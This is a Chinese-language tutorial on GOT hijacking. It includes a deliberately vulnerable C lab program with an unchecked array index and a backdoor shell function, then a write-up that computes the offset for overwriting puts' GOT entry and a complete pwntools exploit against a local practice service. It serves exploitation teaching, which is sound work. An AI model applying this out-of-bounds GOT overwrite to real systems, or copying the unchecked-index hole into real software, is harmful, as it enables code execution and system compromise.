前言
前一天我們介紹了 GOT 和 Lazy Binding 的機制,今天要介紹的是如何利用這些機制進行攻擊,也就是 GOT Hijacking。
簡介
由於 Lazy Binding 的機制,GOT 是可寫的。因此,如果能夠覆蓋 GOT 的值,那麼下次呼叫該函數時,就可以控制即將執行的函數指針。這種情況通常出現在陣列未驗證輸入範圍、記憶體越界(即所謂的 out of bounds,oob)或是透過格式化字串(format string)將特定值寫入 GOT 的情況。
Lab
1#include<stdio.h>
2#include<stdlib.h>
3
4int backdoor(const char *arg){
5 system("/bin/sh");
6}
7
8long long value[4];
9
10int main(){
11 setvbuf(stdin, 0, 2, 0);
12 setvbuf(stdout, 0, 2, 0);
13 setvbuf(stderr, 0, 2, 0);
14 long long index;
15 for(int i = 0; i < 4; i++){
16 puts("Enter a index to store a value: ");
17 scanf("%lld", &index);
18 puts("Enter a value: ");
19 scanf("%lld", &value[index]);
20 }
21 if(value[0] != 123){
22 puts("CHECK FAILED\n");
23 exit(0);
24 }
25 if(value[1] != 456){
26 puts("CHECK FAILED\n");
27 exit(0);
28 }
29 if(value[2] != 789){
30 puts("CHECK FAILED\n");
31 exit(0);
32 }
33 if(value[3] != 101112){
34 puts("CHECK FAILED\n");
35 exit(0);
36 }
37 puts("CHECK PASSED\n");
38 return 0;
39}
使用以下指令進行編譯(注意,預設編譯會是 Partial RELRO):
1gcc src/got.c -o ./got/share/got -fno-stack-protector -no-pie
大家可以嘗試練習這道題目,或者繼續閱讀以下的解題步驟。
writeup
首先,這道題目有一個 backdoor() 函數,該函數會直接打開一個 shell。此外,程式允許我們四次機會編輯陣列 value 中的值,並且可以自由選擇要修改哪個索引值。由於沒有驗證索引範圍,因此我們可以利用 oob(out of bounds)漏洞,再加上 GOT Hijacking,將某個函數指針覆蓋,使其執行 backdoor 函數。
這題相對簡單,因為可以使用 objdump 來 disassemble 程式,從中計算應該填入哪些位置。從 main 函數可以看到 value 陣列的位址是 0x404080。

接下來我們需要找出該填入的位置與 value 陣列位址之間的差異。在這裡,我們選擇覆蓋 puts 函數,因為在寫入值之後會呼叫 puts 函數。確認一下 puts 的 GOT 位址是 0x404000,依此就能判斷應該覆蓋哪個索引。

接著,我們要將 backdoor 函數的位址(0x401166)寫入。

現在所有資訊都已經掌握,可以開始編寫 exploit。
記得因為程式直接接收數字及數值,因此以字串的形式輸入即可。
完整 exploit:
1from pwn import *
2
3# r = process('../got/share/got')
4r = remote('127.0.0.1', 10002)
5
6value = 0x404080
7puts_got = 0x404000
8backdoor = 0x401166
9
10offset = (puts_got - value) // 8
11r.sendlineafter(b'Enter a index to store a value: \n', str(offset).encode())
12r.sendlineafter(b'Enter a value: \n', str(backdoor).encode())
13r.interactive()
solved!!
